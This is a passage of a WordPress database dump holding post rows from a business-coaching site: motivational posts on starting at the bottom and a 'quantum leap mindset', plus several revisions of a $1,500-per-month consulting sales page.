accomplishment begins with your willingness and acceptance of being at the bottom–unaccomplished!</h2>\r\nHaving to face being at the bottom is one reason why many people won’t make it to the top. They never gave themselves a fair shot because they don’t want to risk failure and they don’t like feeling unaccomplished. It’s more comfortable to stay where they are even if that means staying stuck wondering what to do next.\r\n\r\nThere is no formula for moving forward toward an accomplishment you desire.  You just begin at the bottom and don’t worry too much about the “how”.\r\n\r\n<strong>Every accomplishment begins in the mind.</strong>\r\n\r\nI’ve written many times and it’s worth repeating–everything that ever was, is now or will ever be begins as a formless thought in the mind.  I’m confident you have been thinking about lots of ideas to move yourself forward particularly in your business.  Regardless of the amount of ideas you are thinking about, follow one that has lots of creative juice for you, then forgot about the others (for now).\r\n\r\nAccomplishment is really nothing more than the art of sacrifice. You make a decision to go “all in” on one idea at the exclusion of all other alternatives. This level of mental focus builds energy and energy is motion–motion is progress.\r\n\r\n<strong>Start small, really small.</strong>\r\n\r\nOnce you’ve made a decision to focus on accomplishing a single idea, it can be tempting to take big swings at making things happen at the beginning. In my own experience, I’ve found it more useful to take really small incremental moves toward something I’d like to accomplish. It’s easier to “digest” a small task rather than attempt a big stretch early in game. Allow yourself to get your “legs” first, build your confidence bit by bit.  You’ll be amazed at how much gets accomplished in small bits over time. And when it feels right to you, go ahead and stretch yourself.\r\n\r\n<strong>You will suck at first.</strong>\r\n\r\nWhen I made the decision to become a writer and teacher, I sucked at it. I was at the bottom with no clear idea of who my writing would serve and if anyone cared that much about what I had to say. But I cared!  I cared enough to start this blog and play around with the “writer idea” in little pieces. Slowly, very slowly over time, my writing helped me focus on what mattered to me and who I could serve through my writing.  My writing improved and now I have a bit more confidence. Every time I receive another blog subscriber notice in my email, my confidence grows stronger and I keep learning to be better.  Go ahead and suck!\r\n\r\n<strong>Ideas take their own sweet time to come into form.</strong>\r\n\r\nUnlike predictable gestation periods for living organisms, ideas take their own sweet time coming into form. There’s simply no way to know with certainty how long accomplishing anything will take.  There are three attributes inherent in any accomplishment: patience, persistence, and time. The first requires unbending faith, the second repeated action, and finally the last element takes what it takes. The good news is you’re in control of two out of three of those attributes. Not bad odds.\r\n\r\n<strong>Think of the bottom as the foundation of the bigger future.</strong>\r\n\r\nAnything worth accomplishing is worth placing on a strong foundation. Think of starting at the bottom as your foundation for a bigger future. At the bottom, you will discover the value of focused energy, faith, action and trust in yourself. Build your accomplishments on those foundational elements and you’ll be absolutely astonished at your progress.', 'The importance of starting at the bottom.', 0, '', 'publish', 'open', 'open', '', 'the-importance-of-starting-at-the-bottom', '', '', '2012-05-07 09:54:22', '2012-05-07 16:54:22', '', 0, 'http://www.whitehotcenter.com/?p=2062', 0, 'post', '', 2),
(2034, 2, '2012-02-29 12:52:42', '2012-02-29 19:52:42', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients include entrepreneurs from creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production. All these disciplines share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-02-29 12:52:42', '2012-02-29 19:52:42', '', 138, 'http://www.whitehotcenter.com/2012/02/138-revision-174/', 0, 'revision', '', 0),
(2035, 2, '2012-03-05 12:20:09', '2012-03-05 19:20:09', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients include entrepreneurs from creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production. All these disciplines share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>\r\nStart the burn!</strong></span></span></h1>\r\n<strong>Why work with me?</strong>\r\n\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different.\r\n\r\nFor nearly 30 years, as a creative entrepreneur and design professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for creative types. I know the challenges involved selling in your ideas and developing proposals that win business. I know the pressure of meeting a payroll every week too.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that help you get to where you want to go?\r\n\r\nHere’s my two-word answer: clarity and confidence.\r\n\r\nYou don’t want a consultant. You want clarity to lock onto a big vision for your future, and the confidence to pursue it with passion and discipline. I can help you get “there” by keeping you in the right frame of mind now to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><span style="color: #ff6600;">Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n<p style="color: #ff6600;"><span style="color: #ff6600;">I am looking forward to working with you.</span></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-03-05 12:20:09', '2012-03-05 19:20:09', '', 138, 'http://www.whitehotcenter.com/2012/03/138-revision-175/', 0, 'revision', '', 0),
(2036, 2, '2012-03-05 12:21:14', '2012-03-05 19:21:14', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients include entrepreneurs from creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production. All these disciplines share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span><strong>\r\nWhy work with me?</strong>\r\n\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different.\r\n\r\nFor nearly 30 years, as a creative entrepreneur and design professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for creative types. I know the challenges involved selling in your ideas and developing proposals that win business. I know the pressure of meeting a payroll every week too.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that help you get to where you want to go?\r\n\r\nHere’s my two-word answer: clarity and confidence.\r\n\r\nYou don’t want a consultant. You want clarity to lock onto a big vision for your future, and the confidence to pursue it with passion and discipline. I can help you get “there” by keeping you in the right frame of mind now to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><span style="color: #ff6600;">Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n<p style="color: #ff6600;"><span style="color: #ff6600;">I am looking forward to working with you.</span></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-03-05 12:21:14', '2012-03-05 19:21:14', '', 138, 'http://www.whitehotcenter.com/2012/03/138-revision-176/', 0, 'revision', '', 0),
(2037, 2, '2012-03-05 12:22:11', '2012-03-05 19:22:11', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients include entrepreneurs from creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production. All these disciplines share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span><strong>\r\n\r\nWhy work with me?</strong>\r\n\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different.\r\n\r\nFor nearly 30 years, as a creative entrepreneur and design professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for creative types. I know the challenges involved selling in your ideas and developing proposals that win business. I know the pressure of meeting a payroll every week too.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that help you get to where you want to go?\r\n\r\nHere’s my two-word answer: clarity and confidence.\r\n\r\nYou don’t want a consultant. You want clarity to lock onto a big vision for your future, and the confidence to pursue it with passion and discipline. I can help you get “there” by keeping you in the right frame of mind now to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><span style="color: #ff6600;">Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n<p style="color: #ff6600;"><span style="color: #ff6600;">I am looking forward to working with you.</span></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-03-05 12:22:11', '2012-03-05 19:22:11', '', 138, 'http://www.whitehotcenter.com/2012/03/138-revision-177/', 0, 'revision', '', 0),
(2040, 2, '2012-03-12 18:34:06', '2012-03-13 01:34:06', '', 'quantum_leap1', 0, '', 'inherit', 'open', 'open', '', 'quantum_leap1', '', '', '2012-03-12 18:34:06', '2012-03-13 01:34:06', '', 2039, 'http://www.whitehotcenter.com/wp-content/uploads/2012/03/quantum_leap1.jpg', 0, 'attachment', 'image/jpeg', 0),
(2041, 2, '2012-03-12 18:40:32', '2012-03-13 01:40:32', '<img class="alignnone size-full wp-image-2040" title="quantum_leap1" src="http://whc.fbdev.org/wp-content/uploads/2012/03/quantum_leap1.jpg" alt="" width="490" height="355" />\n<h1><span style="color: #808080;">Many creative entrepreneurs take comfort in their gradual progress. When it comes to growing your creative business, wouldn’t you rather speed things up? Maybe even skip a few levels altogether?</span></h1>\nBit by bit, slow moving progress and incremental gains toward achieving your goals would seem logical and acceptable. Trouble is it just takes so much longer. Don’t you think it would be far more interesting and exciting to whiz past all your current circumstances at light speed? Of course you would, who wouldn’t?  If your interested in breaking a few physical laws, then making quantum leaps in your business growth will require multiplying your effectiveness by a power of ten, or hundred, or even a thousand.\n\nBut how?\n\nQuantum leaps are not the result of impatience but massive personal effectiveness. You can’t have any effect on the physical reality that exists now. You can’t make the outside world you find yourself in now amend itself to your schedule.  You can’t make the right clients show up when you desperately need business now.  You have no power whatsoever to change the current reality. Your current reality is a natural result of your past thinking.\n<h2><strong>Quantum leaps require a quantum leap mindset–a radically new way of thinking and behaving. It begins by knowing what you want, deciding to pursue it, and expecting it will be delivered to you–all at light speed!</strong></h2>\n<strong></strong>In 500 BC, Heraclitus wrote “ if you do not expect it, you will not find the unexpected”\n\nIt’s no fun clawing your way to the freaking middle!  I’m suggesting a formula for achievement that involves multiplying rather than adding– a geometric progression in your personal and professional effectiveness.\n\nRather than being satisfied with gradual progress and conventional growth, you can move several steps higher directly in a quantum leap towards your bigger, better future! This is a move that implies you place yourself far beyond the next logical step. Quantum leaps violate common sense, are often counter-intuitive, even paradoxical. As a result many entrepreneurs believe these moves are far-fetched, outrageous, even dangerous.\n\n<strong>Change your personal rules for the game of success.</strong>\n\nIt’s difficult to reframe a lifetime of limiting beliefs and unproductive behaviors. But that’s what a quantum leap requires–a change in your current point of view about how things work. As humans, we’re naturally predisposed to going with what we know works.  The game you played to get to your current level can’t be played by the same rules in the higher levels.\n\nTo accelerate your rate of achievement rapidly, you must employ new ideas and behaviors that change the rules of the game in ways that moves you forward by an order of magnitude. Here are a few principals and prerequisites to help you think about changing the rules of your success game by making a quantum leap toward your desires in life and business:\n\n<strong>Quit trying harder.</strong>\nYou’ll wear yourself out then you won’t be any good to anybody. Sooner or later you won’t be able to try harder. When you are stressed and stretched to your limits you will be blocked from insight, inspiration, creativity and innovative thinking–all necessary for a quantum leap.\n\n<strong>Ignore conventional approaches.</strong>\nOrdinarily, you might be tempted to go along with the tried and true. Ignore that temptation!  Quantum leaps are not governed by familiarlty, logic, common sense, or what is working now. If you’re trying to climb a wall, look for the doorway and walk through. If you are resisting and pushing, reverse your course and go with the flow.\n\n<strong>Focus on possibilities rather than obstacles.</strong>\nOne of my teachers has a simple but powerful expression “where you look is where you go”.  Stop looking at obstacles start believing in possibilities. When you focus your creative mind on possibilities, chances are you’ll be drawn to them with light speed.\n\n<strong>Suspend all your disbelief.</strong>\nIf you absolutely must doubt something, doubt your limits. Your doubt is a boat anchor on your progress. Quantum leaps and quantified proof cannot reside in the same space and time. Believe in your success, make the leap of faith, then act as if your success is guaranteed.\n\n<strong>Focus on the end not the means.</strong>\nYou don’t need to know “how”  but you sure as hell need to know where you’re going. You must have razor sharp conviction, and a crystal clear mental image of what you want to accomplish. Forget about methodology and doing the right things. Think of it this way- you’re not concerned with what happens in the middle of a jump–put your focus on where you’re going to land.\n\n<strong>Take different risks</strong>.\nQuantum leaps are not about taking big chances, this is about giving yourself a big chance. If you try to minimize, hedge your vulnerability by being safe in the status quo, you’ll kill your chances for a quantum leap. You don’t have to be reckless or impulsive to follow an opportunity you have been ignoring.\n\n<strong>Trust the unseen forces.</strong>\nThere are invisible forces and resources ready to make a profound difference in your progress. An absence of evidence is not evidence of their absence. You are at all times surrounded by possibility and opportunity. Like a fish, you don’t know you’re wet. Allow the unseen forces to do their good works in association with you.\n\n<strong>Stop wishing and wanting</strong>.\nThe marketplace rewards those who earn and desire, never because they desire or need.  Don’t confuse wishing and wanting with pursuing. You must take action. It’s nice and safe to wish for something. Pursuit, on the other hand, is essential for a quantum leaps. Move your ass!\n\n<strong>Go looking for failure, then use it.</strong>\nPerhaps you’re familiar with the expression ”perfection is the enemy of progress”? Nothing is perfect. Everything in the universe is constantly shifting and changing. So are you. Forget about the right time, the right resources, the perfect opportunity. There is only right now! Be willing to test the limits of what you are capable of by accepting failure. Failure is a necessary resource for sharpening the edge off your capabilities and making a quantum leap.\n\n<strong>Don’t get comfortable.</strong>\nComfort will put you sound asleep. Are you uncomfortable right now? If you are, that’s a good sign. Uneasiness is required when a quantum leap is underway. Let lose and ride the big wave of your quantum leap by playing out on the edges!\n\n<strong>Be open to your genius.</strong>\nEveryone has unique gifts, talents and capabilities. High achievers are always open to their genius. The part of their being that accomplishes things in an easy and relaxed way. Open up to your genius, find your wings.\n\n<strong>Do what matters to you.</strong>\nYou can’t make a quantum leap toward a lukewarm idea of the future. You must do what truly matters to you, something remarkable, special and precious enough to light a fire in your heart and under your ass. What is your “magnificent obsession”?\n\n<strong>Move before your ready.</strong>\nYou’ll discover, once underway, that you know more than you know you know. Stop getting ready to get ready. There is no preparation required for a quantum leap. The time to move is now with what you have and from where you stand.\n\nLook inside for opportunity.\nEverything that is needed right now for a quantum leap comes from within you. Everything. The opportunity, the timing, the power to perform–all these are within you, not in the circumstance outside you.', 'The Qualities of a Quantum Leap Mindset.', 0, '', 'inherit', 'open', 'open', '', '2039-revision', '', '', '2012-03-12 18:40:32', '2012-03-13 01:40:32', '', 2039, 'http://www.whitehotcenter.com/2012/03/2039-revision/', 0, 'revision', '', 0);
